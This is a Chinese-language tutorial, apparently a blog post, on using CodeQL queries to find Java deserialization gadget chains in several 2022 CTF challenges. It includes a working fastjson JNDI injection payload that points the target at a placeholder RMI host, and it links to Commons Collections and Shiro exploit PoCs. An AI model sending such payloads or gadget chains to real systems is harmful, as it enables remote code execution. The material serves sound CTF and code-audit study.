CodeQL是近几年很火的一个语义代码分析引擎,使用CodeQL可以像查询数据一样来查询代码,编写查询用于查找代码中的漏洞。笔者作为一名安全竞赛研究员,尝试使用CodeQL来协助CTF中Java题目的代码审计。本文将围绕着使用CodeQL来查询Java中函数的流向,以及类与函数常用谓词的运用,在CTF的代码审计时快速判断某个函数是否会流向一些可能存在利用的函数。
关于CodeQL的环境安装教程,网上已经有比较多的文章了,这里就不赘述。给出几个参考链接:
https://github.com/github/codeql
https://www.anquanke.com/post/id/266823
https://www.freebuf.com/sectool/269924.html
https://tttang.com/archive/1322/
查询的过程中,我们如果想要查询某个类(或方法),这时就需要通过一些谓词来限制这个类(或方法)的一些特征。
先从网上下载一个已经打包的数据库:
https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip
在CodeQL中,RefType
就包含了我们在Java里面使用到的Class
,Interface
的声明,比如我们现在需要查询一个类名为XStreamHandler
的类,但是我们不确定他是Class
还是Interface
,我们就可以通过 RefType
定义变量后进行查询,如下
import javafrom RefType c
where c.hasName("XStreamHandler")
select c
RefType
中常用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html
getACallable() 获取所有可以调用方法(其中包括构造方法)
getAMember() 获取所有成员,其中包括调用方法,字段和内部类这些
getAField() 获取所有字段
getAMethod() 获取所有方法
getASupertype() 获取父类
getAnAncestor() 获取所有的父类相当于递归的getASupertype*()
获取XStreamHandler
的fromObject
可以通过构造如下查询语句:
import javafrom RefType c, Callable cf
where
c.hasName("XStreamHandler") and
cf.hasName("fromObject") and
cf = c.getACallable()
select c, cf
在CodeQL中,Java的方法限制,我们可以使用Callable
,并且Callable
父类是 Method
(普通的方法)和 Constructor
(类的构造方法)
对于方法调用,我们可以使用call
,并且call
的父类包括MethodAccess
, ClassInstanceExpression
, ThisConstructorInvocationStmt
和 SuperConstructorInvocationStmt
现在我们需要查询有哪些地方调用了XStream.fromXML
,可以构造如下的查询:
import javafrom MethodAccess c, Callable cb
where
cb.hasName("fromXML") and
cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
c.getMethod() = cb
select c
Callable
常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html
polyCalls(Callable target) 一个Callable 是否调用了另外的Callable,这里面包含了类似虚函数的调用
hasName(name) 可以对方法名进行限制
Call
中常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html
getCallee() 返回函数声明的位置
getCaller() 返回调用这个函数的函数位置
现在我们先构建一个mybatis-3
的数据库,通过CodeQL database create mybatis_3_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"
进行编译,编译完导入vscode就行
mybatis-3
的下载链接:https://github.com/mybatis/mybatis-3
我们先编写一个限制方法名为lookup
,并且他所属的类或者接口是javax.naming.Context
的类,点击快速查询得到三个结果:
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
然后再编写一个限制方法名满足getter
和setter
的类,我们点击快速查看,可以得到很多结果。
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
现在我们需要找到一个可以从getter
和setter
方法到lookup
的路径,这个时候可以利用edges
和Callable
中的谓词polyCalls
进行构造,通过查询可以得到一个结果,也就是 fastjson 1.2.45
里面的一个绕过方法。
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html
/**
* @kind path-problem
*/import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"
、
SUSCTF2022的gadeget题目考察的是:fastjson JNDI注入、JNDI注入绕过高版本jdk限制、绕过RASP等。
做这个题目的时候,有一步是需要我们找到通过fastjson
利用quartz
依赖包的gadeget触发反序列化。
通过 https://github.com/quartz-scheduler/quartz
下载源码包,然后通过以下命令生成数据库:
CodeQL database create quartz_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"
然后导入到CodeQL里面。需要注意的是,如果这个数据库通过https://github.com/waderwu/extractor-java
这个工具生成quartz2.2.1
数据库的话会导致查询不到getTransaction
函数,查看相应代码的AST(抽象语法树)发现,AST这里并没有把getTransaction
解析为函数。
然后通过如下的codeql
语句进行查询,整个codeql
的查询意义是先找到一个从getter
或者setter
出发的函数,是否能流到lookup
的调用,并且这个lookup
调用时的参数是存在相应的setter
进行赋值操作。
/**
* @kind path-problem
*/import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup") and
exists(FieldAccess f, Class cl |
this.getAnArgument() = f and
cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
this.getCaller().getDeclaringType() = cl
)
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"
可以发现扫到了很多地方,但是主要触发点就两个:
经过筛选,我们发现可以通过JTANonClusteredSemaphore
的方法getTransaction
触发jndi
所以我们就可以构造poc,远程可以收到请求,利用成功。
[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]
MRCTF2022的ezjava题目考察的是:bypass SerialKiller、反序列化链构造等。
题目环境:
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller
题目对一些类进行了过滤,很容易想到出题人就是让我们绕过限制,过滤了如下的类,结合之前对cc链的掌握,我们知道cc链在最后代码执行或者命令执行的sink就两个地方,一个是通过反射到命令执行,另一个是通过TrAXFilter
和TemplatesImpl
的配合进行代码执行,他这里就只是过滤了最后触发的地方,前面反序列化到LazyMap.get()
都是可以用的。
这次生成cc3.2.1
数据库我用的是如下链接的工具(需要注意一点是在linux上面构建数据库的codeql版本最好和在vscode里面使用的版本一致),因为没有安装相应版本的jdk进行编译,直接通过mvn构建时报错。
https://github.com/waderwu/extractor-java
这里我选择的是找到一个其他可以利用的点,这个点是可以触发Constructor.newInstance
的方法,具体构建查询如下
/**
* @kind path-problem
*/import java
class NewInstanceCall extends Call {
NewInstanceCall() {
this.getCallee().getDeclaringType() instanceof TypeConstructor and
this.getCallee().hasName("newInstance") and
not getCaller().getDeclaringType().hasName("InvokerTransformer") and
not getCaller().getDeclaringType().hasName("ChainedTransformer") and
not getCaller().getDeclaringType().hasName("ConstantTransformer") and
not getCaller().getDeclaringType().hasName("InstantiateTransformer")
}
}class GetterCallable extends Callable
{
GetterCallable() {
getName().matches("transform") and
not getDeclaringType() instanceof Interface and
fromSource() and
getNumberOfParameters() = 1 and
not getDeclaringType().hasName("InvokerTransformer") and
not getDeclaringType().hasName("ChainedTransformer") and
not getDeclaringType().hasName("ConstantTransformer") and
not getDeclaringType().hasName("InstantiateTransformer")
}
}query predicate edges(Callable a, Callable b)
{ a.polyCalls(b) }
from NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"
最后人工筛选确定使用FactoryTransformer.transform
为新的触发点,具体poc可以参考:
https://guokeya.github.io/post/tLCxJb1Sl/
https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller
hfctf2022的ezchain题目考察的是:hessian反序列化链构造等。
题目环境:
https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain
因为这次跑CodeQL需要生成相应jdk的数据库,所以关于数据库的生成可以参考下面两个链接:
https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/
https://blog.csdn.net/mole_exp/article/details/122330521
在这个题里面的利用主要就是通过getter
查找到二次反序列化点和命令执行,但是这次没有选用递归的形式,因为递归太慢了,不过有时间可以跑跑看还有没有其他的点。
/**
* @kind path-problem
*/import java
class ReadCall extends Call {
ReadCall() {
this.getCallee().getDeclaringType().hasQualifiedName("java.io", "ObjectInput") and
this.getCallee().hasName("readObject") and
this.getCallee().fromSource()
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
this.hasNoParameters() and
getName().length() > 3
}
}query predicate edges(Callable a, Callable b)
{ a.polyCalls(b) }
from ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"
但是在查询getter
到Runtime.getRuntime().exec
时候,我测试了很多次发现都没有办法直接查询到,因为从getter
到命令执行的地方是经过了java的native方法,导致失去了AccessController.doPrivileged
方法的信息。
来看看在CodeQL中这一部分的数据是什么样子吧,可以发现关于这部分的函数调用根本没有解析出来。
import javafrom Callable c
where c.hasName("execCmd") and
c.getDeclaringType().hasName("PrintServiceLookupProvider")
select c.getACallee()
所以我们就只好设置execCmd
为终点了,这里也只扫了一层的,如果递归就可能要很久。
/**
* @kind path-problem
*/import java
class ExecCall extends Call {
ExecCall() {
this.getCallee().getDeclaringType().hasQualifiedName("sun.print", "PrintServiceLookupProvider") and
this.getCallee().hasName("execCmd")
or
this.getCallee().getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
this.getCallee().hasName("exec")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
this.hasNoParameters() and
getName().length() > 3
}
}query predicate edges(Callable a, Callable b)
{ a.polyCalls(b) }
from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"
2022年数字中国创新大赛车联网安全赛初赛的ezcc题目考察的是:Shiro反序列化、CommonsCollections链、CommonsBeanutils链的绕过等。
题目环境:
https://www.ichunqiu.com/battalion?t=1&r=70889
题目给了附件,大概看一下就明白是Shiro反序列化的利用,但是题目过滤了一些类。
这个时候可以利用之前学习过的poc进行改造,可以清楚的看到我们只需要找到一个 InvokerTransformer
的替代类即可
https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java
其实熟悉cc链的应该一眼就看出来可以通过InstantiateTransformer
来代替,因为在cc3
和cc4
中注释里面写的很清楚。
如果不知道这个前提的情况下我们可以怎么去思考,先看看 InvokerTransformer
的作用,可以发现是可以通过反射执行newTransformer
的方法。
我们先看看剩下的transform
里面,哪些看着比较好利用吧,直接快速查询看看,发现总共就29个,挨着看看每个方法。
import javaclass TransformrCallable extends Callable {
TransformrCallable() {
getName().matches("transform") and
not getDeclaringType() instanceof Interface and
fromSource() and
getNumberOfParameters() = 1 and
not getDeclaringType().hasName("InvokerTransformer") and
not getDeclaringType().hasName("ConstantTransformer")
}
}
from TransformrCallable c
select c,c.getBody(),c.getDeclaringType()
这里就列举一下有那些看着感觉可以利用吧。
第6个会调用某些满足条件的create()
的方法:
第7个,会调用Closure
类的execute
方法:
第9个,会调用Factory
类的create
方法:
第10个的时候,发现我们可以实例化一个类,这就代表着我们可以触发一些类的构造方法:
第13个,会调用Predicate
类的execute
方法:
在这29个里面,我们就筛选出来了5个可能存在利用的地方,首先我们的目标就是要找到一个可以调用到TemplatesImpl
的newTransformer
方法的地方。
我先看找到的第一个可能存在利用的地方,CloneTransformer.transform
函数后续操作。
如果有目标类存在clone
方法,就直接返回new PrototypeFactory.PrototypeCloneFactory
后,调用create
方法,否则new InstantiateFactory
后调用create
方法,不过这里new InstantiateFactory
的参数值不完全可控,所以利用不了
接下来看看第二个点Closure.execute
,因为Closure
是interface
,所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")
进行限制,得到了9个结果,但是看着感觉没有什么好利用的。
import javaclass ClosureCallable extends Callable {
ClosureCallable() {
getName().matches("execute") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") and
fromSource() and
getNumberOfParameters() = 1
}
}
from ClosureCallable c
select c,c.getBody(),c.getDeclaringType()
第三个点就是筛选Factory
类的create
方法看看有什么可以利用的。
import javaclass FactoryCallable extends Callable {
FactoryCallable() {
getName().matches("create") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") and
fromSource() and
getNumberOfParameters() = 0
}
}
from FactoryCallable c
select c,c.getBody(),c.getDeclaringType()
发现结果中的第三个也是可以触发类的构造方法,后续流程又回到了第二点后半部分的TrAXFilter
类的利用了。
虽然有transient
修饰,但是findConstructor
又会给iConstructor
进行赋值,所以这里是可以利用的。
然后我们在生成jdk数据库里面找找有没有那个类的构造方法可以调用到TemplatesImpl
的newTransformer
方法,编写如下的查询语句可以得到TrAXFilter
的构造方法是可以触发newTransformer
,具体poc构造参考。
/**
* @kind path-problem
*/import java
class ConMethod extends Callable{
ConMethod(){
this instanceof Constructor
}
}
class NewTransformer extends Callable{
NewTransformer(){
hasName("newTransformer") and
hasNoParameters() and
getDeclaringType().hasName("TemplatesImpl")
}
}query predicate edges(Callable a, Callable b)
{ a.polyCalls(b) }
from NewTransformer endcall, ConMethod entryPoint
where edges(entryPoint, endcall)
select endcall, entryPoint, endcall, "newTransformer finder"
Java的poc构造可以参考上面ezjava题目
给出的两个链接。
结果中的第四个虽然有反射调用任意的方法,但是transient
修饰了方法名,导致反序列化时这个值会为null,所以这里利用不了。
结果中的第六个是无参的构造方法调用,也利用不了。
第四个点也就是会新创建一个对象,也就会触发构造方法,所以利用方式就可以参考第一个点的后半部分,具体poc的构造可以参考:
https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA
第五个点大概看了没有什么利用的地方。
import javaclass PredicateCallable extends Callable {
PredicateCallable() {
getName().matches("evaluate") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") and
fromSource() and
getNumberOfParameters() = 1
}
}
from PredicateCallable c
select c,c.getBody(),c.getDeclaringType()
通过CodeQL,确实可以在代码审计中提高了审计速度和避免人工查找时因马虎而遗漏的一些关键点。同学们下次打CTF时,不妨尝试下CodeQL,看看能否更快地拿到flag。
关于CodeQL在CTF的代码审计的应用,笔者只是浅尝辄止,希望能通过本文,引发更多师傅对CodeQL在CTF上的更多尝试。欢迎师傅们交流讨论。
https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md
https://codeql.github.com/codeql-standard-libraries/java/
https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/
https://tttang.com/archive/1570/
https://tttang.com/archive/1415/
https://xz.aliyun.com/t/10707